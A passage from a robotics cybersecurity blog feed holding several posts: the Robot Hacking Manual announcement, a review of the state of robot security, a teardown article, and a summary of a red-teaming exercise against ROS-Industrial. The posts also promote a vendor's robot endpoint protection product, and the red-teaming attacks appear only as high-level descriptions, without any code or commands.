to cybersecurity. Papers, notes and writeups from a journey into robot cybersecurity. - GitHub - vmayoral/robot_hacking_manual: Robot Hacking Manual (RHM)....</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.githubassets.com/favicons/favicon.svg"><span class="kg-bookmark-author">vmayoral</span><span class="kg-bookmark-publisher">GitHub</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/20002ad3da633b4193fb0f46d54148b3e2b63329c852a6f776dfece3215df7dd/vmayoral/robot_hacking_manual"></div></a></figure><!--kg-card-begin: markdown--><p>Introducing the <a href="https://github.com/vmayoral/robot_hacking_manual">Robot Hacking Manual (RHM)</a>. A collection of <em>papers, notes and writeups from a journey into robot cybersecurity</em>.</p>
<p>Cybersecurity in robotics will be crucial in the coming years, specially given the safety concerns that insecure robots raise. The Robot Hacking Manual (RHM) is an introductory series about cybersecurity for robots, with an attempt to provide comprehensive case studies and step-by-step tutorials with the intent to raise awareness in the field and highlight the importance of taking a security-first approach. The material available here is also a personal learning attempt and it's disconnected from any particular organization. <em>Content is provided &quot;as is&quot; and by no means I encourage or promote the unauthorized tampering of robotic systems or related technologies</em>.</p>
<p>If you'd like to follow this work or contribute, check out the associated code repository: <a href="https://lnkd.in/dK4VqXHF.For">https://lnkd.in/dK4VqXHF.For</a> an online version of the content, see <a href="https://lnkd.in/d2-cjdnj">https://lnkd.in/d2-cjdnj</a>.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Reviewing the status of robot cybersecurity]]></title><description><![CDATA[What's the status of cybersecurity in robotics? and, how can we best improve cyber-resillience in robotics?
In this article we answer these questions and review the status of the robot cybersecurity after three years of research.]]></description><link>https://cybersecurityrobotics.net/robot-cybersecurity-a-review/</link><guid isPermaLink="false">60fc29df7f008503fd9d0f71</guid><category><![CDATA[robotics]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[review]]></category><dc:creator><![CDATA[Víctor Mayoral Vilches]]></dc:creator><pubDate>Sat, 24 Jul 2021 15:00:47 GMT</pubDate><content:encoded><![CDATA[<figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://aliasrobotics.com/research-security.php"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Alias Robotics Research</div><div class="kg-bookmark-description">Open research in robot cyber security. Articles on cyber security for robotics.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://aliasrobotics.com/favicon.png"></div></div><div class="kg-bookmark-thumbnail"><img src="https://aliasrobotics.com/img/LOGO-alias-white-nav.svg"></div></a></figure><!--kg-card-begin: markdown--><p>Robots are often shipped insecure and in some cases fully unprotected. The rationale behind is threefold: first, defensive security mechanisms for robots are still on their early stages, not covering the complete threat landscape. Second, the inherent complexity of robotic systems makes their protection costly, both technically and economically. Third, vendors do not generally take responsibility in a timely manner, extending the zero-days exposure window (time until mitigation of a zero-day) to several years on average. Worse, several  manufacturers keep forwarding the problem to the end-users of these machines or discarding it.</p>
<blockquote>
<p>what's the status of cybersecurity in robotics? and, how can we best improve cyber-resillience in robotics?</p>
</blockquote>
<p>In this article, the <mark>status of the robot cybersecurity is reviewed</mark> considering three sources of data: <ins>1) recent literature</ins>, 2) <ins>questionnaires</ins> performed in top robotics forums and 3) recent <ins>research results</ins> in robot cybersecurity. Building upon a decade of experiences in robotics, this article reviews the current status of cybersecurity in robotics and argues about the current challenges to secure robotic systems. Ultimately, based on the empirical results collected over a period of three years performing security assessments in robots, the present text advocates for a complementary offensive approach methodology to protect robots in a feasible and timely manner.</p>
<p>Using these different sources of information, we draw the following observations:</p>
<ol>
<li>Based on literature, robot cybersecurity is still a new field that deserves further attention, tools  and educational material to train new engineers in security practices for robotics.</li>
<li>There's a gap between the expectations and the actual investment, which suggests that cybersecurity actions in robotics will grow in the future for the ROS community.</li>
<li>The lack of robot-specific security measures (36%) and offensive assessments (26%) can be interpreted as an indicator of the maturity level of the technology when compared to other sectors (e.g. IT or OT) where these practices are common and specialized.</li>
<li>Both the PX4 and the ROS communities indicated that the majority is yet to witness a cyber-attack. In the ROS community only one out of ten respondents (9%) had seen it whereas in the PX4 group, approximately one out of four (27%).</li>
<li>Data confirm that respectively for both ROS and ROS-I groups mitigations concentrate mostly on the perimeter.</li>
<li>In Europe, the majority of the respondents agree that the responsibility in case of damage as a result of a cyber-incident is to be assumed by the supply chain (86% indicated that it'd sit between System Integrators and robot vendors), with only a 14% pushing the responsibility to the end-user.</li>
<li>Collaborative robot manufacturers MiR and UR have zero days with an age at least older than one year. These flaws continue growing older due to the inactivity from the manufacturers.</li>
<li>Vulnerability data affecting ABB robots shows how according to historical data, vulnerabilities were patches as early as 14 days after its disclosure however the average mitigation time is above four years (1500 days).</li>
<li>The ratio of publicly disclosed vulnerabilities versus the ones remaining private is an indicator when evaluating the security readiness of a robot manufacturer. The threat landscape of a given robot is correlated to this ratio in a direct manner.</li>
</ol>
<blockquote>
<p>Complexity difficulties security in robotics. The inherent complexity of robotic systems leads to wide attack surfaces and a variety of potential attack vectors which manufacturers are failing to mitigate in reasonable time periods. As research advances in the field and the first commercial solutions to protect robots appear, to meet the security expectations of most immediate industries, a reverse defensive approach (an offensive one) is recommended. Periodic security assessments in collaboration with security experts will be the most effective security mechanism in the short term.</p>
</blockquote>
<p>For a postprint version of the full text, read the <a href="https://aliasrobotics.com/files/robot_cybersecurity_review.pdf">complete article</a>. <em>This is a postprint-produced PDF of an article submitted to the International Journal of Cyber Forensics and Advanced Threat Investigations (CFATI). Some rights reserved. The definitive publisher-authenticated version will be available online from <a href="https://conceptechint.net/index.php">https://conceptechint.net/index.php</a></em></p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Robot teardown]]></title><description><![CDATA[Robot teardown fuels security research by understanding the underlying robot hardware architectures. The results help uncover security vulnerabilities, research quality and safety. We introduce the topic and motivation, while analyzing the robots of Teradyne.]]></description><link>https://cybersecurityrobotics.net/robot-teardown/</link><guid isPermaLink="false">60f3ed22234fbb03f26aae41</guid><category><![CDATA[teardown]]></category><category><![CDATA[robotics]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[safety]]></category><category><![CDATA[hardware]]></category><dc:creator><![CDATA[Víctor Mayoral Vilches]]></dc:creator><pubDate>Sun, 18 Jul 2021 09:50:54 GMT</pubDate><content:encoded><![CDATA[<h3 id="inspecting-the-security-of-collaborative-robots-through-their-hardware-architectures-">Inspecting the security of collaborative robots through their hardware architectures.</h3><figure class="kg-card kg-bookmark-card kg-card-hascaption"><a class="kg-bookmark-container" href="https://aliasrobotics.com/robot-teardown.php"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Robot Teardown - Robot cybersecurity</div><div class="kg-bookmark-description">Dissasembly and teardown of robots.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://aliasrobotics.com/favicon.png"><span class="kg-bookmark-publisher">Robot cybersecurity</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://aliasrobotics.com/img/LOGO-alias-white-nav.svg"></div></a><figcaption>Robot teardown, stripping robots for good</figcaption></figure><figure class="kg-card kg-bookmark-card kg-card-hascaption"><a class="kg-bookmark-container" href="https://aliasrobotics.com/research-security.php"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Alias Robotics Research</div><div class="kg-bookmark-description">Open research in robot cyber security. Articles on cyber security for robotics.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://aliasrobotics.com/favicon.png"></div></div><div class="kg-bookmark-thumbnail"><img src="https://aliasrobotics.com/img/LOGO-alias-white-nav.svg"></div></a><figcaption>Robot cybersecurity research</figcaption></figure><p></p><!--kg-card-begin: markdown--><p><em>The content in here is inspired by the <a href="https://aliasrobotics.com/files/robot_teardown_paper.pdf">robot teardown original article</a>. For more, refer to the scientific paper (to be published) and/or the <a href="https://www.blackhat.com/us-21/briefings/schedule/index.html#small-wonder-uncovering-planned-obsolescence-practices-in-robotics-and-what-this-means-for-cybersecurity-23325">Black Hat talk</a>.</em></p>
<p>Robotics is the art of system integration <sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup>. Building a robot requires one to carefully select components that exchange information across networks while meeting timing deadlines. In a way, a robot is a network of networks. One that comprises sensors to <em>read</em> the world, actuators to produce a <em>physical change</em>, and dedicated computational resources to process it all and respond coherently, in time, and according to its application. Roboticists often conceive the robot not as one of its parts, but as the complete system including all of its components, whether they are assembled under the same structure or physically distributed. In the case of a robotic manipulator, these robots are often presented physically distributed and include the robot arm mechanics (which generally include actuators and sensors), the HMI  or teach pendant, the controller (the main compute substrate for reasoning), and any additional safety mechanism related to the robot operation. The robotic system is thereby the <em>composition</em> of all these sub-systems and networks.</p>
<blockquote>
<p>a robot is a network of networks. One that comprises sensors to <em>read</em> the world, actuators to produce a <em>physical change</em>, and dedicated computational resources to process it all and respond coherently, in time, and according to its application.</p>
</blockquote>
<p>Under such system integration complexity, it is not uncommon for one of the robot sub-components to fail over time, often leading to the complete system malfunction. Given the high price point of robots, it is reasonable to consider the need for repairing these machines, often replacing individual faulty components for continued operation, or simply for re-purposing them. The European Commission (EC) showed early interest on this topic in a report by <sup class="footnote-ref"><a href="#fn2" id="fnref2">[2]</a></sup> evaluating different scoring systems for repairing and upgrading different consumer-oriented products, including robots. More recently, and as part of the Circular Economy Action Plan <sup class="footnote-ref"><a href="#fn3" id="fnref3">[3]</a></sup>, the EC has shown commitment towards establishing a new <strong>Right to Repair</strong> in the context of reviewing directive 2019/771. Hatta <sup class="footnote-ref"><a href="#fn4" id="fnref4">[4]</a></sup> summarizes major events in the U.S. with regard the <em>Right to Repair</em> and highlights that it wasn't until 2012 that the Automotive <em>Right to Repair</em> passed in Massachussets, empowering customers with tools to fight planned obsolescence. Hatta summarizes how material obsolescence works:</p>
<ul>
<li>Making items difficult to repair (by raising the cost of repair, requiring special tools, etc.)</li>
<li>Failing to provide information (for instance, manuals are not provided)</li>
<li>Systematic obsolescence (making parts among models incompatible or making it impossible to fix newer models with parts from the older models)</li>
<li>Numbering (frequently changing the model numbers to make it psychologically less attractive to use old models)</li>
<li>Legal approaches (prohibiting access and modification to the internal structure of products by means of copyrights and patents)</li>
</ul>
<p>Hatta <sup class="footnote-ref"><a href="#fn4" id="fnref4:1">[4:1]</a></sup> noticed that, similar to Ford in the 1920s, most robot manufacturers follow several of these practices nowadays and organize dealers (often called distributors) or approved system integrators into private networks, providing repair parts only to <em>certified</em> companies in an attempt to discourage repairs and evade competition.</p>
<p>Amongst the most recent examples we observe an interesting development from <a href="https://www.teradyne.com/">Teradyne</a>, where two of its owned robotics companies (<a href="https://www.universal-robots.com">Universal Robots</a> and <a href="https://www.mobile-industrial-robots.com">Mobile Industrial Robots</a>), follow these practices. The case of Teradyne is of special interest because its robots are <strong>advertised as collaborative, that is: designed to augment human capabilities by closely (physically) cooperating without causing any harm</strong>. Past research however hints that the lack of security measures in these robots leads to safety hazards, as concluded by Alzola et al. <sup class="footnote-ref"><a href="#fn5" id="fnref5">[5]</a></sup>.</p>
<blockquote>
<p>Amongst the most recent examples we observe an interesting development from <a href="https://www.teradyne.com/">Teradyne</a>, where two of its owned robotics companies (<a href="https://www.universal-robots.com">Universal Robots</a> and <a href="https://www.mobile-industrial-robots.com">Mobile Industrial Robots</a>), follow these obsolescence practices.</p>
</blockquote>
<p>Cybersecurity in robotics is still on its early stages. Therefore, as in many other fields, it remains addressed mostly in disconnected silos. With most efforts concentrated in IT, hardware security in robotics has received very limited attention. Building secure robots, however, demands consideration throughout domains (hardware, firmware, OS, application, network, cloud, etc.)</p>
<h3 id="robotteardown">Robot teardown</h3>
<p>A teardown is the process of taking apart a product to understand how it is made and works. More formally, it is the approach to modeling the functional behavior and physical components of a product. Robot teardown is thereby the process to study robot hardware architectures through systematic disassembly to understand how the robot works and what physical sub-systems compose it.</p>
<blockquote>
<p>Robot teardown is the process to study robot hardware architectures through systematic disassembly to understand how the robot works and what physical sub-systems compose it.</p>
</blockquote>
<p>The motivation behind teardowns is three-fold: a) dissection and analysis to evaluate the status of a product, b) competitive benchmarking against similar products, and c) gain engineering experience and knowledge.</p>
<p>Read more about robot teardown at <a href="https://aliasrobotics.com/robot-teardown.php">https://aliasrobotics.com/robot-teardown.php</a>.</p>
<hr class="footnotes-sep">
<section class="footnotes">
<ol class="footnotes-list">
<li id="fn1" class="footnote-item"><p>Mayoral-Vilches, V., Hernández, A., Kojcev, R., Muguruza, I., Zamalloa, I., Bilbao, A., &amp; Usategi, L.  (2017). The shift in the robotics paradigm—the hardware robot operating system (h-ros); an infrastructure to create interoperable robot components. In Adaptive hardware and systems (ahs), 2017 nasa/esa conference on(pp. 229–236). <a href="#fnref1" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn2" class="footnote-item"><p>Cordella, M., Alfieri, F., &amp; Sanfelix, J. (2019). Analysis and development of a scoring system for repair and upgrade of products-final report. <a href="#fnref2" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn3" class="footnote-item"><p>Publications Office of the European Union Luxembourg.for Communication (European Commission), D.-G. (2020). Circular economy action plan, for a cleaner and more competitive europe. Publications Office of the European Union Luxembourg. doi: 10.2779/05068 <a href="#fnref3" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn4" class="footnote-item"><p>Hatta, M. (2020). The right to repair, the right to tinker, and the right to innovate. Annals of Business Administrative Science, 0200604a. <a href="#fnref4" class="footnote-backref">↩︎</a> <a href="#fnref4:1" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn5" class="footnote-item"><p>Alzola Kirschgens, L., Zamalloa Ugarte, I., Gil Uriarte, E., Muñiz Rosas, A., &amp; Mayoral-Vilches, V.  (2018, June). Robot hazards: from safety to security. ArXiv e-prints. <a href="#fnref5" class="footnote-backref">↩︎</a></p>
</li>
</ol>
</section>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Safety requires security in robotics]]></title><description><![CDATA[This article discusses briefly the connection between safety and security in robotics, while reasons about how security must be implemented at the robot endpoint to fullfil safety requirements.]]></description><link>https://cybersecurityrobotics.net/safety-and-security-standards-for-robots/</link><guid isPermaLink="false">5ea5c9ef8c3931223010b245</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[safety]]></category><category><![CDATA[robotics]]></category><category><![CDATA[iec62443]]></category><dc:creator><![CDATA[Víctor Mayoral Vilches]]></dc:creator><pubDate>Mon, 02 Nov 2020 14:49:56 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>As robots start populating our lives, safety and security are topics gaining more and more traction. Safety cares about the robot not harming the environment (or humans) whereas security deals with the opposite, aims to ensure the environment does not conflict with the robot's programmed behavior. There's an intrinsic connection between safety and security. Functional safety standards reflect this aspect.</p>
<p>Robots have their own networks, technologies, safety requirements and business priorities, all of which must be uniquely addressed. Simply put, you can't secure robots the same way you secure other IT or OT environments. Existing industrial solutions for monitoring networking traffic and detecting threats do not include robots and are generally left beyond the area of protection, assumed as air gapped. From a technical angle <mark>robots demand for their own specialized cybersecurity measures and safety requirements for robots should consider this</mark>. Moreover:</p>
<blockquote>
<p>given the safety implications, cybersecurity in robotics will be more important than in any other area.</p>
</blockquote>
<p>This article discusses briefly the connection between safety and security in robotics, while reasons about how security must be implemented at the robot endpoint to fullfil safety requirements.</p>
<h3 id="safetystandardsrequiresecurity">Safety standards &quot;require&quot; security</h3>
<p><img src="https://cybersecurityrobotics.net/content/images/2020/11/safety_standards.png" alt="safety_standards"></p>
<p><code>IEC 61508</code> “Functional Safety of Electrical/Electronic/Programmable Electronic Safety-related Systems” is a meta-standard for safety and from where most functional safety norms grow. This is the case for <code>ISO 26262</code> (automotive), <code>IEC 61511</code> (industrial processes), <code>IEC 61513</code> (nuclear) or <code>EN 50126/8/9</code> (railways),  among others.</p>
<p><code>IEC 61508</code> indicates the following in <em>section 7.4.2.3</em>:</p>
<p><em>&quot;If the hazard analysis identifies that malevolent or unauthorised action, constituting a security threat, as being reasonably foreseeable, then a security threats analysis should be carried out.&quot;</em></p>
<p>Moreover, section 7.5.2.2 from IEC 61508 also states:</p>
<p><em>&quot;If security threats have been identified, then a vulnerability analysis should be undertaken in order to specify security requirements.&quot;</em></p>
<p>which translates to security requirements. Note these requirements are complementary to other security requirements specified in other standards like <code>IEC 62443</code>, and specific to the robotic setup in order to comply with the safety requirements of <code>IEC 61508</code>. In other words, <mark>safety requirements spawn from security flaws</mark>, which are specific to the robot and influenced by security research. Periodic security assessments should be performed and as new vulnerabilities are identified, they should be translated into new security requirements.</p>
<blockquote>
<p>Periodic security assessments should be performed and as new vulnerabilities are identified, they should be translated into new security requirements.</p>
</blockquote>
<p>More importantly, the fulfillment of these security requirements to maintain the robot protected (and thereby safe) will demand pushing the measures to the robot endpoint. <mark>Network-based monitoring solutions <sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup> will simply not be enough to prevent safety hazards from happening. Safety standards demand thereby for a security mechanism that protects the robot endpoints and fulfill all the security requirements</mark>, a Robot Endpoint Protection Platform (REPP).</p>
<hr class="footnotes-sep">
<section class="footnotes">
<ol class="footnotes-list">
<li id="fn1" class="footnote-item"><p>These solutions don't block traffic since the consequences of package loss in control systems could be catastrophic. While they don't directly prevent safety hazards, their detection and monitoring capabilities are crutial for an active security posture and maintenance. Robot-specific solutions are thereby required that co-exist with industrial network monitoring solutions, expanding the overall security posture and further implementing a defense-in-depth strategy. <a href="#fnref1" class="footnote-backref">↩︎</a></p>
</li>
</ol>
</section>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="cybersecuritymeasuresattheendpoint">Cybersecurity measures at the endpoint</h3>
<p>At <a href="https://aliasrobotics.com">Alias Robotics</a> we've been researching the landscape of robot cybersecurity for a few years already while working with some of the top manufacturers of robot parts. Altogether, we have discovered, identified and catalogued more than 1000 robot vulnerabilities throughout various <a href="https://aliasrobotics.com/case-studies-robot-cybersecurity.php">offensive exercises</a>. Our products build on top of this reseach and aim to help guarantee the security of robots by directly embedding security measures at the robot endpoint. <strong>We develop software and hardware that adapts to the robot and fits directly inside, without compromising its behavior and adding additional layers of cybersecurity protection</strong>.</p>
<!--

The closest norm that defines a series of cybersecurity requirements and is applicable to robots is `IEC 62443`. This standard defines requirements that  *components* and *systems* must meet to guarantee a minimum `security level` (SL) which goes from 0 to 4 (with 0 being no fulfillment of security requirements).

For a robot to guarantee a security level (SL) on its operation, it will need to meet `IEC 62443` [^1] at both system and component levels. Moreover, as pointed out above, security flaws are specific to the robot and influenced by security research. Each one of these flaws becomes a new security requirement, which needs to be mitigated requiring a security management process. 


[^1]: Refer to IEC 62443 3-3 and 4-2 for system and component requirements, respectively.

-->
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://cybersecurityrobotics.net/content/images/2020/11/ris_logo_new.svg" class="kg-image"><figcaption><strong><a href="https://aliasrobotics.com/ris.php">RIS, the Robot Immune System</a>:</strong> RIS is a Robot Endpoint Protection Platform (REPP), an integrated suite of endpoint protection technologies for robots —including a next-gen antivirus, hardening for known flaws, data encryption, intrusion prevention mechanisms, data loss prevention, etc.— that detects, prevents, stops and informs on a variety of threats that affect the robotic system.&nbsp;</figcaption></figure><!--kg-card-begin: markdown--><p>Our <a href="https://aliasrobotics.com/ris.php">Robot Immune System (RIS)</a> secures robots and robot components by delivering an integrated suite of endpoint protection technologies. It complements existing industrial network monitoring solutions by implementing security measures directly into the robot.</p>
<p>More importantly, we remain active as security researchers and through periodic security assessments, we guarantee that new vulnerabilities are identified, turned into security requirements and mitigated in a timely manner into RIS, contributing to guarantee the safety of RIS' supported robot platforms.</p>
<blockquote>
<p>we guarantee that new vulnerabilities are identified, turned into security requirements and mitigated in a timely manner into RIS, contributing to guarantee the safety of RIS' supported robot platforms.</p>
</blockquote>
<p>RIS is currently available for several robots such as those from Universal Robots (UR) or Mobile Industrial Robots (MiR). It can also secure robot components including several of the distros of ROS or ROS 2. Most exciting fact is that <strong>RIS is fulfilling all the requirements of <code>IEC 62443</code> cybersecurity standard rapidly</strong>!</p>
<p>We are in the process of turning RIS into a security certified product for robots so stay tuned if you're intested in a security upgrade for your robots ;).</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Red teaming the Robot Operating System in industry]]></title><description><![CDATA[Can ROS be used securely for industrial use cases even though its origins didn't consider it? The present study answers this question experimentally by performing a red team exercise over ROS and ROS-Industrial packages.]]></description><link>https://cybersecurityrobotics.net/red-teaming-the-ros-in-industry/</link><guid isPermaLink="false">5f6348230ae4c81c48521dde</guid><category><![CDATA[ROS-Industrial]]></category><category><![CDATA[red-teaming]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Víctor Mayoral Vilches]]></dc:creator><pubDate>Thu, 17 Sep 2020 17:57:05 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>ROS is rapidly becoming a standard in robotics, including its growing use in industry. The commonly held assumption that robots are to be deployed in closed and isolated networks does not hold any further and while developments in ROS 2 show promise, the slow adoption cycles in industry will push widespread ROS 2 industrial adoption years from now. ROS will prevail in the meantime so we wonder, <strong>can ROS be used securely for industrial use cases even though its origins didn't consider it?</strong></p>
<p>This essay summarizes the work my team and I conducted over the last period tackling this question. For more, refer to the following resources:</p>
<ul>
<li><a href="https://aliasrobotics.com/case-study-red-teaming.php"><code>Red teaming ROS-Industrial case study</code></a></li>
<li><a href="https://aliasrobotics.com/files/red_teaming_rosindustrial.pdf"><code>Red teaming ROS-Industrial extended report (white paper)</code></a> (<em>56 pages</em>)</li>
</ul>
<h3 id="isitsecuretouserosinindustry">Is it secure to use ROS in industry?</h3>
<p>The Robot Operating System (ROS) is the de facto framework for robot application development. According to the ROS community metrics that are sampled every year on July, more than 20 million total downloads of ROS packages happened in July 2019. A shocking number given the small size of the robotics community. At the time of writing, the original ROS article has been cited more than 7000 times, which shows its wide acceptance for research and academic purposes. ROS was born in this environment: its primary goal was to provide the software tools that users would need to undertake novel research and development.  First with the PR2 robot while being developed at Willow Garage, and then for the overall robotics community with the creation of the Open Source Robotics Foundation in 2012.</p>
<p>ROS' popularity has continued to grow in industry supported by projects like ROS-Industrial (ROS-I for short)<sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup>, an open-source initiative that extends the advanced capabilities of ROS software to industrial relevant hardware and applications. Spearheaded by the ROS-Industrial consortium, its deployment in industry is now a reality. The consortium has more than 80 members and its gatherings in Europe, USA and Asia bring together hundreds of robotics experts every year.</p>
<p align="center">
    <img alt="ros_readteaming_scenario" src="https://cybersecurityrobotics.net/content/images/2020/09/esquema-3-.png">
    <figcaption>
        <strong>Use case architecture diagram</strong>. The synthetic scenario presents a network segmented in 5 levels with segregation implemented following recommendations in NIST SP 800-82 and IEC 62443 family of standards. There are 6 identical robots from Universal Robots presenting a variety of networking setups and security measures, each connected to their controller. $\hat{S_n}$ and $\hat{C_n}$ denote security hardened versions of an $n$ control station or controller respectively.
    </figcaption>
</p>
<p>With dozens of publicly available speeches on how ROS is being used for automation tasks, open source tools available and system integrators picking ROS for real problems under safety constraints, we argue that it is nowadays a relevant piece of software used for industry. Unfortunately, as it's often common in industry, security is not a priority.</p>
<p>ROS was not designed with security in mind, but as it started being adopted and deployed into products or used in government programs, more attention was placed on it. Some of the early work on securing ROS include <sup class="footnote-ref"><a href="#fn2" id="fnref2">[2]</a></sup>, <sup class="footnote-ref"><a href="#fn3" id="fnref3">[3]</a></sup> or <sup class="footnote-ref"><a href="#fn4" id="fnref4">[4]</a></sup>, all of them appearing in the second half of 2016.  At the time of writing, none of these efforts remain actively maintained and the community focus on security efforts has switched to ROS 2, the next generation of ROS. ROS 2 builds on top of DDS and shows promise. However, to the best of our knowledge, there're still no known robots running ROS 2 in production at scale. From our experience analyzing robots used in industry, their operating systems, libraries and dependencies, we argue that ROS 2 is still years from being widely deployed for major automation tasks. Until then, ROS will prevail.</p>
<h3 id="researchquestion">Research question</h3>
<p>With the advent of ROS in industry and professional use, one question remains:</p>
<blockquote>
<p>Even though ROS was not designed with security in mind, can companies use it securely for industrial use cases?</p>
</blockquote>
<p>The work introduced in here tackles this question experimentally by performing a <mark>targeted security exercise</mark>, namely <strong>red teaming</strong>, to determine whether ROS and more specifically, ROS and ROS-Industrial packages could be used securely in an industrial setup. We construct a synthetic industrial scenario and choose one of the most common industrial robots with ROS-I support to build it. We then apply available security measures to the setup following official recommendations and program a simple flow of operation.</p>
<p>Using this setup, we perform a red teaming exercise with the following two goals:</p>
<ul>
<li><mark>Goal $G_1$</mark>: Control, deny access or disrupt the ROS computational graph.</li>
<li><mark>Goal $G_2$</mark>: Control, deny access or disrupt the operation of robots (ROS-powered or not)<sup class="footnote-ref"><a href="#fn5" id="fnref5">[5]</a></sup>.</li>
</ul>
<p>To achieve these goals, we create four different attacks that target the ROS-Industrial and ROS packages. The results show that ROS Melodic Morenia presents several unpatched security flaws, even when hardened with community recommendations. For details on the attacks, refer to <sup class="footnote-ref"><a href="#fn6" id="fnref6">[6]</a></sup>.</p>
<h3 id="redteaming">Red teaming</h3>
<p align="center">
    <img alt="ros_readteaming_scenario" src="https://cybersecurityrobotics.net/content/images/2020/09/attack-1-1-.png">
    <figcaption>
        <strong>Attack targeting ROS-Industrial and ROS core packages</strong>. The attacker exploits a vulnerability present in a ROS package running on $\hat{S_7}$ (actionlib). Since $\hat{S_7}$ is acting as the ROS Master, segregation does not impose restrictions on it and it is thereby used to access other machines in the OT level to send control commands.
    </figcaption>
</p>
<p>Red teaming is a full-scope, holistic and targeted (with specific goals) attack simulation designed to measure how well a system can withstand an attack. Opposed to Penetration Testing (<em>pentesting</em> or PT), a red teaming activity does not seek to find as many vulnerabilities as possible to risk-assess them, but has a specific goal. Red teaming looks for vulnerabilities that will maximize damage and meet the selected goals. Its ultimate objective is to test an organization/system detection and response capabilities in production and with respect a given set of objectives. Past works in robot cybersecurity criticize the current status of cybersecurity in robotics and reckon the need of further research. Previous attempts to review the security of robots via offensive exercises or tools mostly focus on proof-of-concept attacks and basic penetration testing, detecting flaws in ROS. A recent study <sup class="footnote-ref"><a href="#fn7" id="fnref7">[7]</a></sup> mentions the identification of several flaws within ROS-Industrial codebase, however it does not explicitly describe  ROS-specific flaws.  Considerations are made with regard the open and insecure architecture predominant in ROS-Industrial deployments throughout its open source drivers. From interactions with the authors of <sup class="footnote-ref"><a href="#fn7" id="fnref7:1">[7:1]</a></sup>, it was confirmed that the reported security issues were made generic on purpose, further highlighting the need for further investment on understanding the security landscape of ROS-Industrial setups.</p>
<p>To the best of our knowledge, no prior public work has performed a red teaming activity on ROS-Industrial packages (or in any other robotics technology for that matter), and challenged its security extensions. The work introduced in here presents a study in which we aim to do so in a realistic industrial scenario.</p>
<h3 id="discussion">Discussion</h3>
<h4 id="findings">Findings</h4>
<table>
<thead>
<tr>
<th>Attack</th>
<th>Description</th>
<th>Goals met</th>
</tr>
</thead>
<tbody>
<tr>
<td>$A_{1.1}$: remove arbitrary code execution</td>
<td>Subject to some prior interactions, attacker with control of $D_1$ is able to exploit a vulnerability in ROS and launch arbitrary remote code executions from a privileged ROS end-point compromising completely the computational graph</td>
<td>$G_1$ and $G_2$ ($R_1$, $R_2$, $R_3$, $R_4$ and  $R_5$)</td>
</tr>
<tr>
<td>$A_{1.2}$: privilege escalation</td>
<td>Subject to local access, attacker is able to exploit a vulnerability in ROS and escalate privileges (to the ROS ones) in such machine</td>
<td>$G_1$</td>
</tr>
<tr>
<td>$A_{2}$: FIN-ACK flood attack targeting ROS</td>
<td>Attacker attempts to deny ROSTCP connection on target destination by forcing a maxed-out number of connections</td>
<td>$G_1$ and $G_2$ ($R_1$, $R_2$, $R_3$, $R_4$ and $R_5$)</td>
</tr>
<tr>
<td>$A_3$: PitM attack to a ROS control station &amp; Attacker poisons ARP tables and gains access to the network flow of information siting between targeted publishers and subscribers, interfering with communications as desired.</td>
<td>$G_1$ and $G_2$ ($R_1$, $R_2$, $R_3$, $R_4$ and $R_5$)</td>
<td></td>
</tr>
<tr>
<td>$A_4$: Insider endpoint via unprotected robot controller</td>
<td>Attackers exploit known vulnerabilities in a robot endpoint to compromise the controller and pivot into the ROS network.</td>
<td>$G_1$ and $G_2$ ($R_1$, $R_2$, $R_3$, $R_4$, $R_5$ and $R_6$)</td>
</tr>
</tbody>
</table>
<p>$G_1$ is achieved in all the presented attacks whereas $G_2$ is mostly achieved yet depends on the hardening of the corresponding control stations and robotic endpoints.<br>
At the time of writing, among the vulnerabilities we exploited most remain active. An exception is <a href="https://github.com/aliasrobotics/RVD/issues/2401">RVD#2401</a> which got resolved by Open Robotics within 30 hours from the moment we submitted a mitigation.</p>
<h4 id="lessonslearned">Lessons learned</h4>
<p>Through our experiments we showed how control stations running Ubuntu 18.04 do not protect ROS or ROS-Industrial deployments. Moreover, the guidelines offered by Canonical <sup class="footnote-ref"><a href="#fn8" id="fnref8">[8]</a></sup> for securing ROS are of little use against targeted attacks, as demonstrated. Certain ongoing hardening efforts for ROS Melodic <sup class="footnote-ref"><a href="#fn9" id="fnref9">[9]</a></sup> helped mitigate some issues but regardless, most goals were still achieved with attacks targeting threats like zero days, wide and availability of industrial components, inadequate security practices or non-patched OS and firmware.</p>
<blockquote>
<p>control stations running Ubuntu 18.04 do not protect ROS or ROS-Industrial deployments. Moreover, the guidelines offered by Canonical <sup class="footnote-ref"><a href="#fn8" id="fnref8:1">[8:1]</a></sup> for securing ROS are of little use against targeted attacks, as demonstrated.</p>
</blockquote>
